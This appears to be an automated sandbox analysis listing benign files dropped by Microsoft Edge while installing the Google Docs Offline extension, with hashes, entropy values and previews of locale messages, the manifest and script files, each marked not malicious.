MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8860_52325439\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
